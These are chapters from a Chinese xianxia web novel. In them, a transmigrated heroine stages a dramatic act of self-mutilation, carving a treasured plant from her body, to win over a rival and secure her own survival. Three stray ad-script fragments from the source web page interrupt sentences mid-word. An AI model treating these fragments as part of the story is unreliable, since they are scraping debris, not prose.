许晚辞的视线从始至终都没有放在段子惟身上,她的情绪外露只有一瞬,再次开口时,声音已经恢复了最开始的平静疏远: “段少爷,院子里的这些东西……” 她的话还没有说完,段子惟就意识到了什么。 他脚步飞快,一溜烟地离开了院子,声音在上空回荡: “我忽然想起来我有急事,先走了!!” 许晚辞看着段子惟的背影,面色依旧,心中却松了一口气。 她知道段子惟手中有许多天材地宝,说不定其中真的有什么,能让幻颜树升阶。 升阶的幻颜树,太不可控。 她不能在身边留下哪怕一点暴露自己谎言的东西。 不过—— 她扫了一眼焕然一新的院子,即使她知道段子惟撒灵石的爱好,也不得不感叹: 真是……财大气粗啊。 被感叹财大气粗的段子惟一股脑地跑了许久,生怕许晚辞会让他把撒的那些灵宝收回去。 笑话! 少爷他行走修仙界这么多年,扔出去的东西,从来没有收回来的道理! 离许晚辞的小院有一段距离后,他终于停下了步伐。 看到左右无人后,他赶紧放慢脚步,整理了一下衣袍。 然后故作淡定,闲庭信步地朝远处走去。 他刚走了几步,就看到刘强带着一群人,雄赳赳气昂昂地朝着他走来。 段子惟嫌弃地皱起了眉头: 他们来这做什么? 还闹出这么大的动静,不知道万剑锋上有人重伤,需要静养么! 刘强也看到了段子惟,他想起自己做的事情,猛地挺起了胸脯,快步殷勤地朝着他跑去: “段少爷,您来了!” 段子惟嫌弃地挥手,示意他停远一点: “你们来万剑锋做什么?” 刘强在他七步之外的地方站定,一脸讨好道:“我这不是看您……” 说到这里,他意识到不对,赶紧改口:“不对,是我们……” “是我们看不惯许晚辞如今安然无恙的样子,想去给她一个教训。” “让她知道……” 他的话还没说完,就被段子惟带着怒意的声音打断: “你们要去找许晚辞的麻烦?” 刘强被他问得一愣,刚想点头,就被段子惟劈头盖脸地骂了一顿: “你不知道许晚辞现在还受着伤么?” “你不知道太清宗弟子禁止内斗么?” “教训许晚辞?执法殿长老都没说什么,轮得到你们教训?” 刘强一脸摸不到头脑的呆愣模样: 段少爷这是被夺舍了么? 怎么忽然间就对许晚辞这么……宽容了? 不过他也早就习惯了他的喜怒无常,于是试探性地问道: “那段少爷,我们这就……走?” 段子惟抬头瞥了他一眼,刚想让他滚,忽然想起了许晚辞如今的模样。 她刚从断魂骨下捡回一条命,如今剑心破碎,又毫无求生之意。 随便来个弟子恐怕就能伤到她。 要是再有人像这波人这般—— 咳咳,他当然不是相信了楚青川说的那些…… 但话又说回来…对于一个重伤的人动手,实在是没有武德。 想到这里,他一扬眉梢: “那谁,你们在这里守着,不准让任何人去找许晚辞的麻烦。” 说完这句话后,他终于舒展开了眉头。 他随手扔下一瓶七品丹药后,他慢悠悠地向前走去: “记住,连一个苍蝇都不要放过去。” 刘强看着丹药,脸上都笑出了褶子: “得嘞!” 另一边,许晚辞坐在崭新的墨玉桌前,好整以暇地等人来找她的麻烦: 一盏茶, 一炷香, 一个时辰…… 等到夕阳西下,她门前依旧空无一人,一丝响动都没有。 许晚辞:??? 7.第 7 章 许晚辞等了整整一天一夜。 她的院子周围就像是被封印了一般,别说人影了,就连只苍蝇都不曾出现。 许晚辞感受着初晨的阳光,缓缓地闭上了双眼,遮住了眼中的疑惑。 难道是太清宗宗主下达了什么命令? 依据她对太清宗宗主的了解,只在她身上留下防御法器就已经足够,按理说不会单独下达与她有关的命令。 至于执法殿的两位长老,更不可能多做什么。 假设宁宗主他们真的在她身上留下了防御法器,那法器的触发方式是什么? 又能有多强的防御能力? 本来会找原主麻烦的那些人是最好的实验对象,有充足的理由对她动手,同时修为也可控。 许晚辞很快便收拾好了自己的情绪。 她睁开眼,忍住心中的惋惜,淡淡地向前看去。 原著中,女主江秋宁很快就会苏醒。 等她醒来后,江家……太清宗应该就压不住了。 毕竟是修仙界三大世家之一,底蕴强大,若是真的铁了心要她的命,即使宁宗主在她身上留了防御法器,也未必能护住她。 她不想死,她想活着。 从在这个世界睁开眼的那一瞬间,她做的所有事情,都是为了好好活着。 现在她没有时间来考虑测试或许存在的防御法器。 她需要的是主动出手,打消江秋宁对她的厌恶和怀疑。 想到这里,她浓密的睫毛微微颤动: 如今,她只需要自己试出防御法器会不会阻碍她接下来的计划便好。 * 能养护身体,调息灵气的寒玉床上,躺着一个温婉动人的身影。 江秋宁是江家家主之女,是江家小辈中天赋最好心思也最为通透的一个,不过百岁,便被立为了江家下一任的家主。 如今她却躺在寒玉床上,双目紧闭,即使周身的气息逐渐凝实,依旧昏迷未醒。 楚青川坐在床侧,目光中满是担忧。 就在这时,沉睡了两日的人终于睁开了双眼,露出了盈盈秋水般的双眸。 楚青川看到后,声音惊喜:“秋宁,你醒了?” 江秋宁听到声音后,下意识弯了弯唇角。 她侧过头,葱白如玉的手轻轻地搭在楚青川放在床边的手上,目光轻柔:“青川,让你担心了。” 楚青川反握住她的手,另一只手温柔地将她扶起,让她靠在床枕上。 紧接着,他把早就在一旁用灵火温好的回春水递到了她唇边,声音关切: “秋宁,你现在感觉怎么样,身体哪里还不舒服?” 江秋宁轻抿了一口回春水,轻声安抚道: “你忘了,我身上的法器足以抵挡当时的灵兽暴动,昏迷只不过只因为体内的灵气受到冲撞,让境界有所松动罢了。” “如今也算是因祸得福,距离元婴中期只有一线之遥,不久之后,应该就能突破。” 她轻轻往后仰了一下上身,示意楚青川把水杯拿走,眨着眼睛问道: “我沉睡的时候发生什么事情了么?” 江秋宁话音刚落,就察觉到了楚青川有些僵硬的神色。 她佯装未觉,不动声色地继续道: “莫不是太过担忧我,所以才会看起来这样憔悴?” 楚青川闻言微不可查地舒了一口气,如今他根本没有想好该如何对江秋宁解释许晚辞的事情。 毕竟,许晚辞的确做了错事,即使事出有因,也没有办法抵消对秋宁的伤害。 想到这里,他心中对江秋宁升起了一丝微妙的愧疚。 他把手中的杯盏放在一旁,声音愈发温柔体贴:“你刚醒来,先以身体为重。” “以后自有时间关注其他。” 沈秋宁眉梢微动,随即从善如流地点了点头。 江秋宁苏醒的消息一出,许多与楚青川和江秋宁交好的弟子纷纷前来。 段子惟更是在刚得知消息时,就直接撕了个传送符,转瞬便来到了江秋宁门前。 楚青川听到动静,皱着眉头出来阻拦: “段子惟,秋宁需要静养……” 他的话还没说完,就被段子惟一脸嚣张地打断: “秋宁既然需要静养,那你怎么还在这里?” 他上下扫了楚青川一眼,轻嗤了一声,然后举了举手中装满了一个储物袋的灵宝: “秋宁昏迷了这么久,一定需要天材地宝调养身体。” 说到这里,他一只手叉腰,居高临下道:“也是,你这种出身贫寒的……” 就在这时,屋内传来一阵温柔的声音,抚平了两人之间的剑拔弩张: “青川,让他进来吧。” 楚青川闻言怔愣了一瞬:秋宁从来都会支持他的决定,鲜少在人前忤逆他的话,今日为何…… 段子惟却不管他怎么想,他嚣张地撞了一下楚青川,随即笑得一脸灿然地走进了门。 江秋宁看到他后,微笑颔首:“段道友。” 随即她对着段子惟身后的楚青川声音温柔地解释: “我昏迷了这么久,定有许多道友担忧,今日正好见一见众位道友,好让他们放心。” 说到这里,她声音放得更柔: “今天过后,我一定好好休养,好不好?” 楚青川闻言,脸上略显僵硬的神情缓缓舒展,他轻笑着点了点头:“理应如此。” 段子惟实在不想看江秋宁和楚青川两人的亲近戏码,他暗搓搓地挤了挤楚青川,然后讨好一般地把手中的储物袋放到了一旁的桌子上。 还没来得及说什么,其他知道江秋宁苏醒的弟子也纷纷前来拜访。 很快,若虚阁周围便变得人来人往,人声鼎沸。 众人你一言,我一嘴,纷纷不甘落后地表达自己这段时间的担忧。 江秋宁唇角含笑,从容地应对着,不过三言两语,便稳定了局面,还让每个人都如沐春风,以为自己才是被重视的那个。 等到众人静下来后,她不用多说什么,只需要显露出一点好奇,便会有无数人为她解惑。 一位和江秋宁交好的弟子率先出声:“江少主,您不知道,这两天可发生了不少事……” 说到这里,她忽然想起这些事情都与许晚辞有关,而这几天,许晚辞和楚师兄之间似乎…… 她小心地看了一眼站在床侧的楚青川,随即咳嗽了一声道: “不知道许晚辞做了什么,她害了您后,进了执法殿后,根本没有被处罚,现在还好好地在万剑锋待着呢!” 江秋宁听到她的话后,脸上罕见地闪过一丝错愕。 许晚辞……没有被处罚? 她下意识地侧头看向楚青川,看到他避开了她的目光后,她心中闪过无数念头。 可最后,她只是一脸宽容道:“执法殿长老的判决,自有其道理。” “说不定是我先入为主,错怪她了。” 听到这里,一个弟子忍不住了: “我看是那个许晚辞用了什么奸计,这才骗过了众位长老!” 他身边的弟子也紧跟着附和: “没错没错,许晚辞动手的时候,那么多弟子都在场,难道是我们一同看错了不成?” “就是,许晚辞这种阴险小人,就是太清宗的耻辱,要我看,就算不杀了她,也应该将她逐出太清宗才对!” 很快,众人便七嘴八舌地讨伐起了许晚辞。 楚青川听着众人的声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 音,眉头微不可查地皱起,最终却什么也没有说。 知道内情的段子惟狠狠攥紧了拳头,他刚想说些什么,就听到门外传来一阵极轻的脚步声。 其他人显然也听到了,目光都齐齐地看向来人。 那是一个过分纤细的身影,眉目如画,脸色带着病气的苍白,一身蓝衣让她周身的气质愈发清冷。 那是……许晚辞? 看清来人的身份后,众人的眼中满是厌恶。 楚青川心中的情绪是自己都没理清的复杂:许晚辞来这里……是因为他吗? 她是不是察觉到她对他…… 他以保护者的姿态挡在江秋宁身前,却罕见地没有开口。 江秋宁看了楚青川一眼,看到他眼中的迟疑后,面色不变,心中却是一沉。 另一旁的段子惟看到许晚辞后,愣了一瞬,或许是因为之前对她的印象太过根深蒂固,他几乎是下意识站起身护住了江秋宁。 毕竟楚青川说的有关许晚辞的那些事情,还没有被证实。 可许晚辞伤害江秋宁这件事,人证物证俱在。 如今江秋宁刚醒,万一许晚辞想要对她动手—— 段子惟的脑海中涌出了无数控制许晚辞,同时尽量不要对她造成伤害的手段。 顶着所有人或厌恶、或震惊的目光,许晚辞一步一步地走到了门前。 即使门开着,她依旧抬起手臂,轻轻地敲了三下门。 或许因为太久没有开口,她的声音带着一丝沙哑: “我可以进来么?” 她站在门口,静静地看着坐在床上的江秋宁,目光沉寂中带着挥之不去的歉意。 江秋宁看着这样子的许晚辞,心中升起了一丝警惕: 能在害了她之后,活着走出执法殿……如今看来,还对楚青川有了些许的影响。 如今的许晚辞,让她陌生,也让她不得不防。 江秋宁看着站在门口的许晚辞,心中已经认定了她如今是在做戏。 不过她也想看看她到底想做什么。 她声音疏离:“请进。” 许晚辞感受着所有人厌恶警惕,甚至想除她而后快的眼神,神情近乎安宁。 她平静、甚至有些期待地,一步一步超前走去,眼中有歉意,也带着即将解脱的轻松。 江秋宁察觉到了许晚辞身上的气息,心中有一瞬间的疑惑,随即,这丝疑惑便转为了警惕。 她声音平淡:“不知许道友今日前来,有何贵干?” 许晚辞对人的情绪格外敏感,自然能感受到江秋宁平静面容下对她的警惕和厌恶。 她眼中带着真切的歉意,认真地看着她,目光没有一丝闪躲: “当日江少主身受重伤,是因为我。” “我听闻少主苏醒,特来赔罪。” 她话音刚落,所有弟子眼中都满是怀疑: 许晚辞来赔罪? 怎么可能? 如今她已经被执法殿释放,还得到了宗主的关注,以她的性格,会乖乖地来道歉? 怕不是黄鼠狼给鸡拜年,没安好心! 就连楚青川和段子惟眼中都带着一丝怀疑。 江秋宁听着许晚辞的话,面色没有分毫改变: 许晚辞这是以退为进,还是又想做些什么? 许晚辞对周围所有的目光恍若未觉,她目光专注安宁,声音带着前所未有的认真: “我的骨血中,有一株墨霜圣兰。” “我以它赔罪,希望江少主不要嫌弃。” 听到她的话,围观的众人眼中的狐疑霎时消散,只能呆愣愣地站在原地: 墨霜圣兰?! 许晚辞疯了么,居然舍得给出这种至宝?! 8.第 8 章 墨霜圣兰啊! 有弟子震惊地捂住了胸口,眼中满是不可置信。 并不是他们见识短浅,实在是墨霜圣兰太过珍稀,是接近仙品的存在,整个太清宗就连宗主都未曾一见,更不用说他们了。 修仙界中,所有人的灵根都是生而既定,天赋从出生的那一刻,便已经划分出了优劣。 虽说修仙界也有不少淬炼灵根的天材地宝,可每一样都分外难得,使用的条件也极其苛刻,无一不需要经过极致的淬体之痛,才有提升灵根的一线可能。 天道既定,即使经历了难捱的淬炼,灵根也不会提升太多。 但墨霜圣兰不同。 只要和它融合,它便会在宿主的身体中隐匿,无视宿主原本的天赋,春风化雨般地提升宿主的灵根。 只要在体内的时间足够长,它甚至能帮宿主逆天改命成传说中的天灵根! 甚至有传言说宿主天赋提升到顶级时,墨霜圣兰能产生灵植,帮助宿主修炼! 难怪许晚辞如今天赋这么出众,原来是因为墨霜圣兰。 可……这种至宝,许晚辞竟然舍得作为赔礼?! 楚青川自然也清楚墨霜圣兰的难得。 他震惊过后,像是想起了什么,沉默地垂下了双眸: 许晚辞只是一个普通弟子,能拥有这种千年难得一遇的至宝,大抵是…… 他心中蓦然浮现出一个名字:清衍仙尊。 也只有曾经当世第一的他,才会拥有如此逆天的法宝。 而他身边的段子惟根本没有功夫在意楚青川的想法,他一脸诧异地看向许晚辞。 修仙界中绝大多数的天材地宝,法器灵丹,他这里都有。 所以,他判断一个灵宝好不好的方式,就是看有没有,有的话多不多。 墨霜圣兰,别说是他,就连整个段家都没有。 珍稀程度由此可见。 许晚辞到底是怎样的气运,居然能拥有这种至宝? 和其他人的反应不同,江秋宁在震惊过后,第一时间梳理出了许晚辞话中的漏洞。 她隐住心中的嘲讽,抬起头声音淡漠: “既然它已属于许道友,那我就不夺人所爱了。” 她话音一落,其他人也倏地反应过来: 是啊! 刚刚他们太过震惊,都忽略了许晚辞一开始说的是自己骨血中的墨霜圣兰。 墨霜圣兰一与修士融合,便会融入修士全身的骨血,成为宿主的一部分。 哪怕之后墨霜圣兰拥有了灵智,它依旧与宿主不可分割…… 难道许晚辞还能从骨血中,把墨霜圣兰给挖出来吗? 用这种根本不可能做到的事情作为赔礼—— 许晚辞不仅心思恶毒,居然还如此虚伪。 说不定她还存着炫耀的心思,向所有人炫耀自己身上的至宝,同时还能让楚师兄对她另眼相待。 真是满腹算计的阴险小人啊! 想明白的众弟子纷纷鄙夷地朝着许晚辞看去。 不管众人目光如何,许晚辞依旧静谧而沉默地站在那里。 就在这时,忽然有弟子发现,许晚辞身上……好像有些不对劲。 她周身附着一层极其细微的灵气,于此同时,她本就苍白的面色,此刻已经变得接近透明。 她垂落的指尖微微颤动,周身的灵气,正丝丝缕缕地钻入她的骨血。 众人错愕地看着她,目光都是一致的震惊: 难道许晚辞真的想把墨霜圣兰从骨血中挖出来? 那种极致的疼痛,她真的能忍住么? 不仅仅只是疼痛,还有对自身的影响,清醒着耗尽半身的骨血……这等于是硬生生地挖去了自己的半条命,还会对以后的修炼产生影响! 只是赔罪而已,许晚辞有必要对自己这么狠么? 一直看着许晚辞的段子惟第一时间发现了她的意图,他根本没有来得及诧异,而是下意识运起灵力,想要打断她的动作。 他身旁的楚青川察觉到了他手中的灵气,赶紧伸手制止。 段子惟用力甩开他的手,看都没有看他一眼,想也不想地重新抬起手,声音焦躁: “你没看到她在做什么吗?!再不制止就来不及了!” 楚青川压住心中汹涌的情绪,让自己的声音听起来尽量平静: “她现在所有的灵气都在骨血之中游走,再轻微的外力,也会打断她勉强维持的平衡。” “你若此时动手,她只会会伤的更重。” 段子惟听到他的话,手中的灵气蓦然加重,却又在下一瞬无奈地消散。 他知道楚青川说的对,却不甘心自己一点办法都没有。 他攥紧双手,向来嚣张肆意的桃花眼中满是深沉的墨色。 此刻的他,已经完全忽视了江秋宁的存在。 而江秋宁眼中也带着一丝未曾掩饰的震惊。 她距离许晚辞最近,也最能清楚的看到她因为疼痛微微颤抖的身体,和……欣然含笑的表情。 她右手抚在胸口的位置,手中的灵气源源不断地向骨血涌去,微微垂眸,神情安宁。 江秋宁见状按着床侧的手缓缓用力,心中情绪复杂: 许晚辞……不会痛么? 许晚辞当然能感觉到身上的疼痛。 这种灵魂与肉|体极致的疼痛却让她越发清醒,也越发能控制自己的表情。 曾经也是相似的疼痛,她只能毫无办法地一步一步看着自己走向死亡;可如今的疼痛,却是她一点一点靠近生的希望。 墨霜圣兰已经把原主的天赋提升的足够高,百年前原主不过是一个三灵根,如今已经成为了单灵根。 修为也远超同龄人,在一百多岁的年纪修成金丹。 只要她控制好,即使剥离了墨霜圣兰,她的天赋和修为依旧还在。 原著中要想在墨霜圣兰的帮助下蜕变成天灵根,需要极其严苛的条件,原主如今的单灵根已经是她能达到的极限。 她最近的行动……说不定它什么时候就会产生灵智。 她和原主毕竟不是同一个灵魂,同时她的未来都系于一个谎言之上,拥有灵智的墨霜圣兰太不可控。 墨霜圣兰留在她身上,弊远大于利。 如今正是她彻底摆脱墨霜圣兰,同时解除江秋宁对她厌恶和警惕的最好机会。 想到这里,她放在胸口处的右手蓦然用力 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 这时,看着许晚辞越发透明的身体,所有人眼中的神情从鄙夷到震惊,最后变成了震撼。 他们只能呆呆地看着她微笑着,平静却没有丝毫犹豫地从胸口的位置,剖出了一株凝实的墨霜圣兰。 她的右手已经鲜血淋漓,右手之上的墨霜圣兰却未然丝毫血污,看起来晶莹高洁、仙气四溢。 一滴、两滴、三滴…… 血滴坠落在地上的声音将众人从震撼中惊醒。 江秋宁见着这样的许晚辞,许久未曾开口。 她像是第一次认识她一般,定定地看着她。 许晚辞似是有些疑惑地眨了眨眼,轻声问道: “不够么?” 不知是想起了什么,她眼中似乎多了几分期待,但更多的是真切与诚恳。 她声音轻松却认真: “那我把金丹也赔给你好不好?” 她几乎是在开口的同时,左手便朝着自己的金丹挖去。 察觉到不对劲的段子惟、楚青川和江秋宁几乎同时出手,想要制止。 但是门外有一道灵气更快,在他们之前用强硬但轻柔的灵气将许晚辞的左手紧紧捆住。 众人齐齐转头,看到来人后,赶紧行礼: “见过宗主、二长老、祁峰主。” 宁孟澜对着他们随意的摆了摆手,然后眉头紧皱地看着鲜血淋漓地站在那里的许晚辞。 这才几天,她就又把自己折腾成了这个样子。 他已经从弟子口中得知了刚才发生的大概,他想起许晚辞和仙尊曾经的过去,一挥衣袖,叹息道: “许晚辞,你这是何苦。” “杀人偿命,欠债还钱,每个人都应该为自己做的事情付出代价。”许晚辞没有回头,她声音听起来格外认真,“不是么?” “话虽如此,可你……”宁孟澜看着许晚辞如今已经近乎透明的面色,默默把后半句话咽了回去: 可你非得对自己这么狠么?! 这时,江秋宁终于开口: “许晚辞,当日我伤势并不重,昏迷也另有原因。” “如今你的歉意我已经收到,墨霜圣兰,你收回去吧。” 不管许晚辞是真的愧疚…还是在做戏,今日的一切,已经足够。 代价已然够多,之后她随依旧会警惕,却也不会贸然对她动手。 如此的话,许晚辞的目的,也应该达到了吧。 况且今日太清宗宗主等人也到了,她不能明面上与太清宗为敌。 那便这样吧。 许晚辞并没有像她想的那样收回墨霜圣兰,而是有些疑惑道: “歉礼哪有收回去的道理?” 在众人震惊的目光中,她单膝跪地,拿着墨霜圣兰的手,反手轻轻地扣在了江秋宁的掌心。 她手心中的墨霜圣兰,一点一点地融入了江秋宁骨血。 见到墨霜圣兰与江秋宁完全融合后,她微微仰起头,面色苍白,目光却如同琉璃一般纯澈透明,再没有了分毫之前对楚青川的偏执与爱慕。 她温柔地道歉:“江秋宁,对不起。” “这是我的歉礼。” “只属于你的歉礼。” 9.第 9 章 许晚辞鲜血淋漓的右手,轻轻地搭在江秋宁的掌心,一红一白交织在一起,唯美而震撼。 所有人怔愣地站在原地,每个人的目光都是一致的震惊与错愕。 他们记忆中的许晚辞,一直都是偏执的,恶毒的。 她一直固执而狼狈地喜欢着楚青川,为此不惜用毒计害楚青川身边的江秋宁。 可是在爱上楚青川之前呢? 许晚辞是什么模样? 没有人记得,也没有人在意。 在很久之前,她也会和如今一般,看起来安静温柔,对自己这样严苛么? 她曾经,是不是也是一个温柔正义的太清宗弟子? 或许她只是……一时误入歧途,如今才清醒罢了。 明明之前所有人都厌恶极了许晚辞,现在却在心里不自觉地为她的作为开脱。 毕竟,如今她已经付出了足够的代价,而被她伤害的江秋宁,也得到了墨霜圣兰。 其中有一位弟子小心翼翼地看了宁孟澜一眼: 毕竟,宗主和二长老都已经放过许晚辞了,不是么? 宁孟澜此刻根本没有心思在意数道看向他的视线。 他和他身侧的二长老,脸上的表情都格外复杂: 他们当然知晓墨霜圣兰的难得,所以见到许晚辞的作为后,才会更加震撼,也更加无奈。 能不顾修为受损甚至被废的威胁,取出这株墨霜圣兰…… 还那样毫不犹豫地去挖自己的金丹。 许晚辞哪里只是心存死志,她是对修炼一途都看淡了啊。 而他们身后根本不清楚内情的万剑锋峰主祁云脸上震撼与茫然交织。 伤害江秋宁的是万剑锋的弟子,而这个弟子又不知什么原因,安然无恙地回到了万剑锋。 去向执法殿询问原因,也只得到一句无可奉告。 他身为峰主,本来是前来向江秋宁道歉的。 可是他一进门,就看到了许晚辞从骨血中生挖墨霜圣兰的一幕,还没来得及震撼她居然拥有此等逆天至宝,就见到她要剖自己的金丹—— 等到一切都尘埃落定后,他一脸麻木地想到: 这下,他应该不用向江秋宁道歉了吧? 此时,江秋宁已经完全和墨霜圣兰融合在了一起。 她感受着无声无息就已经被淬炼了一番的灵根,浓密的睫毛微微颤动: 虽然墨霜圣兰已经经历了两人宿主,灵效稍有削减,但只要有足够的天材地宝堆砌,依旧能够达到她想要的效果。 有这种仙品至宝的存在,她随时都有可能突破元婴中期。 修仙界,没有修士不想更进一步。 除了—— 江秋宁睁开双眼,定定地看着半跪在床侧的许晚辞。 她的目光中,有震惊,也有一丝茫然: 许晚辞……为什么要这么做。 只是为了赔罪的话,她根本不必做到此等地步。 她……到底是一个什么样的人? 江秋宁心中,那个偏执阴暗的身影,渐渐被如今的安宁温柔取代。 就在她怔愣时,她忽然感觉有一滴温热的鲜血,落在了她的掌心。 下一瞬,搭在她掌心的手无力地垂落。 江秋宁倏地回过神,下意识接住了重伤昏迷的许晚辞。 她把她半揽在怀中,一只手紧紧握着她鲜血淋漓的右手为她注入灵气,声音是罕见的急促:“快拿灵丹过来!” 她话音未落,所有人就都动了起来。 楚青川下意识地碰触自己的储物袋,目光带着还没来得及掩饰的担忧。 宁孟澜和二长老一挥手,手中便有了几株能让无数修士眼红的灵植。 最先反应过来的人是段子惟,他在江秋宁开口之前,就已经翻遍了身上的储物玉佩中,从中找出了调养身体、补气益血的各种天材地宝、丹药灵器。 他抱着一怀的灵宝,几步便来到了许晚辞身边。 他看着满身斑斑血迹的许晚辞,有些手足无措地翻着怀中的灵宝,声音焦急地碎碎念: “她前几日刚对自己用了断魂骨,身体根本没有休养好……” “还剑心破碎,道心受损给修士带来的伤害根本无法估量……” “今日她还对自己……” 怀中揽着许晚辞的江秋宁身体蓦然一僵。 她茫然地抬起头看向段子惟,怀疑是自己听错了: 什么叫…对自己用了断魂骨? 什么叫…剑心破碎? 段子惟虽然为人任性嚣张,但在她面前从不说没有把握的事。 所以……都是真的么? 这一刻,她忽然感觉怀中的重量轻到了极点,轻到她好像要留不住她了一般。 完全不知情的太清宗弟子脸上的茫然远胜江秋宁。 这几句话带来的震撼太多,以至于他们根本反应不过来应该震惊哪一个: 段子惟真的没有搞错么? 许晚辞为什么要对自己用断魂骨? 那可是所有修士闻之色变的断魂骨啊! 还有什么…… 剑心破碎? 怎么可能?! 剑修的修为没了,剑心都还在,怎么可能会有修士剑心破碎呢? 就在这时,太清宗宗主难掩震惊疑惑的声音蓦然响起: “段子惟,你说她……剑心破碎?” 听到他声音的周围弟子纷纷回过神来: 你看,宗主都不信…… 不对? 宗主为什么不问断魂骨的事情?? 有反应过来的弟子睁大眼睛看向太清宗宗主: 所以,许晚辞对自己用断魂骨的事情……是真的?! 他们还没来得理清思绪,就听到另一侧的段子惟低沉的回应: “她的剑心……是那日我亲眼所见。” 段子惟低着头,有些沉默地把一株圣兰花融进许晚辞血迹斑斑的胸口。 太清宗宗主看着许晚辞如今的模样,也收回了所有的思绪: 如今情况紧急,最重要的,是先把她身上的伤治好、把她亏空的灵气补足。 一时间,这里汇集了无数不少修士一生都难得一见的天材地宝。 太清宗宗主、二长老、段子惟、楚青川、江秋宁一同出手,每个人都拿出了自己的珍藏灵宝。 在无数灵植丹药的作用下,江秋宁怀中的许晚辞,脸上终于有了一丝血色。 * 自从许晚辞从执法殿活着出来后,太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清宗内便流言四起。 时不时有三五弟子在每日课业完成后,聚在一起,七嘴八舌地讨论许晚辞到底用什么方式逃脱了责罚。 如今江少主醒来的消息一传开,不少人在打赌许晚辞到底还能活多久: “要我说,长老们定是想等江少主醒来后,把许晚辞交给江少主处理。” “就算江少主宽宏大量,绕过了许晚辞,但江家可不是吃素的。” “江家可是出了名的护短,肯定不会放过许晚辞!” 有一位弟子冷哼一声: “许晚辞这种恶毒小人,活着就是太清宗的耻辱。” “要是江家真的杀了许晚辞,那我们倒是应该多谢□□太清宗锄奸……” “够了!”今日在若虚峰见证了全程的江玉听到众人的谈论,蓦然攥紧了双手,声音带着一丝颤抖: “你们什么都不知道,其实……” 想起宗主带许晚辞离开前对他们下的禁令,她只能深吸一口气,缓缓道:“其实许晚辞很久之前,是一个……很好很好的人。” 她身边也知晓全过程的弟子使劲点了点头: “是啊,之前她人真的很善良,如今也敢作敢当……” 听着她们两个人为许晚辞开脱的话,其他弟子都一副你们疯了么的古怪神情。 许晚辞、善良、敢作敢当? 这三个词是怎么联系起来的? 一个弟子没有忍住:“可是她心思恶毒害了江少主。” “有没有可能……”江玉想起当时许晚辞鲜血淋漓面色透明的模样,思索了一瞬道,“是楚师兄的问题?” “要不是他……样貌优越还不和其他女修保持距离,许晚辞怎么会喜欢他?” “许晚辞不喜欢他,又怎么会伤害江少主?!” ……啊? * 江玉心中的罪魁祸首楚青川,正面色凝重地站在小院门边。 他回想起宁孟澜对他说的话,眸色更暗: 许晚辞如今伤势已经恢复,她只是……不想醒来。 就在这时,一个熟悉且骚包的身影一闪而至,蓦然停在了他的身前。 楚青川看着手中拿了数个储物袋的段子惟,微不可查地皱起了眉头。 看到他看都没有看他一眼就要往院子里走的模样,他淡淡开口: “她需要静养。” 段子惟的脚步猛地一顿。 似乎是想起了什么,他迈进院子中的那半步脚缓缓收了回来: 即使当时他们已经用灵宝将她身上的伤势复原。 可是半身骨血的消耗、这段时间她多次受伤、还有她被耗损的心神…… 确实需要好好休养。 想到这里,他依旧没看楚青川一眼,只是认真地把手中的储物袋放在了院子门口。 然后就要拉着楚青川一同离开。 楚青川看着地上的储物袋,眉头拧成了一个死结: “这些灵宝放在这里,你不怕其他人动心?” 本来他以为段子惟会在储物袋上放一些仿佛符咒法器,护住这些灵宝。 没有想到,他听到他的话后,毫无动作,反而眼前一亮道: “那我是不是就能带着灵宝再来一趟了?” 10.第 10 章 江秋宁对楚青川的了解,或许比他自己都多。 所以,她才能够在一开始便察觉出他的不对。 只要她有心,从他的话语中推测出想知道的信息,并不难。 想起刚刚楚青川隐晦透露出来的消息,江秋宁蓦然攥紧了双手,目光复杂而震撼。 她知道这几日来,许晚辞的变化一定事出有因,可她唯独没有想到,居然…… 清衍仙尊。 百年前,以身祭天,神魂俱消的清衍仙尊。 只是这个名讳,便足以令所有修士心神动荡。 许晚辞和清衍仙尊。 若是今日在见到许晚辞前得知这个消息,她根本不会相信分毫。 可—— 即使情绪表情能作假,可是一个人对疼痛,对修为甚至对生命的漠视,却不能作假。 还有那人人趋之若鹜的修仙界至宝墨霜圣兰…… 许晚辞那样决绝地、没有丝毫迟疑地给了她。 若不是发生了什么让她心念俱灰的事情,她又如何会放弃大道之路。 此刻,她或许依旧有所怀疑,但更多的是相信。 毕竟一切的一切,都指向那一个结果。 江秋宁缓缓闭上双眼: 原来之前许晚辞对楚青川所有的爱慕,所有的执着,都是为了另一个人。 许晚辞就在这样百年的时光中,怀着对一个人的爱意,孤零零的坚持到了现在。 所以,她才会在误以为楚青川是清衍仙尊转世后,那样偏执,那样不顾一切。 是因为失去了仅剩的希望么? 她才会在认清真相后,这样毫不顾惜自己的……求死。 这种感情,太过震撼,也太过让人憧憬。 大抵没有人能拒绝这样的爱。 包括那位高高在上、生杀在握的……仙尊。 她知道,她动心于这样的情感,楚青川亦是。 可惜,他们之间,相敬如宾永远大过情深似海。 想到这里,江秋宁攥紧双手,逼自己收回了所有的情绪。 她身为江家少主,必须把江家放在首位。 如今许晚辞,是江家的机缘。 若是能在许晚辞身上,了结江家欠仙尊的因果,那江家未必不能再进一步。 那通天之路,没有人不想染指。 可是无论她如何收拢思绪,许晚辞那日血迹斑斑躺在她怀中的模样,却一直在她脑海挥之不去。 她微微垂眸,眼中有心疼一闪而过: 不论如何,她都会护住她。 她指尖灵气涌动,一道密符便穿到了江家。 在确认父亲收到消息后,她下意识地翻起了自己的私库,想从中找到适合许晚辞的灵宝。 不只是灵宝,许晚辞的裙衫发钗,好像也有些旧了。 * 许晚辞缓缓睁开了双眼。 她已经很久没有睡得这样好了。 就像被浸在温水中一般,源源不断的暖流涌入她的经脉骨血,滋养她的身体。 这几日她一直殚精竭虑,战战兢兢,只要她稍有不慎,等待她的便是死无全尸。 好在,她终于熬过来了。 许晚辞运转了一圈灵力,感受到自己非但没有什么损伤,反而凝实了许多的修为,目光了然。 若虚峰上,太清宗宗主等人来得时机正好,正好可以见证全程,拦下想要自剖金丹的她。 还能够帮助她恢复身体的损伤。 不过即使他们未曾及时赶到,有江秋宁在,她的金丹也不会有事。 所以,她从始至终需要做的,就是对自己足够狠。 经此一遭。 短期内,只要她依旧维持深爱清衍仙尊的人设就好,再也不需要像之前那样无休止的伤害自己。 想到这里,许晚辞不着痕迹地松了一口气: 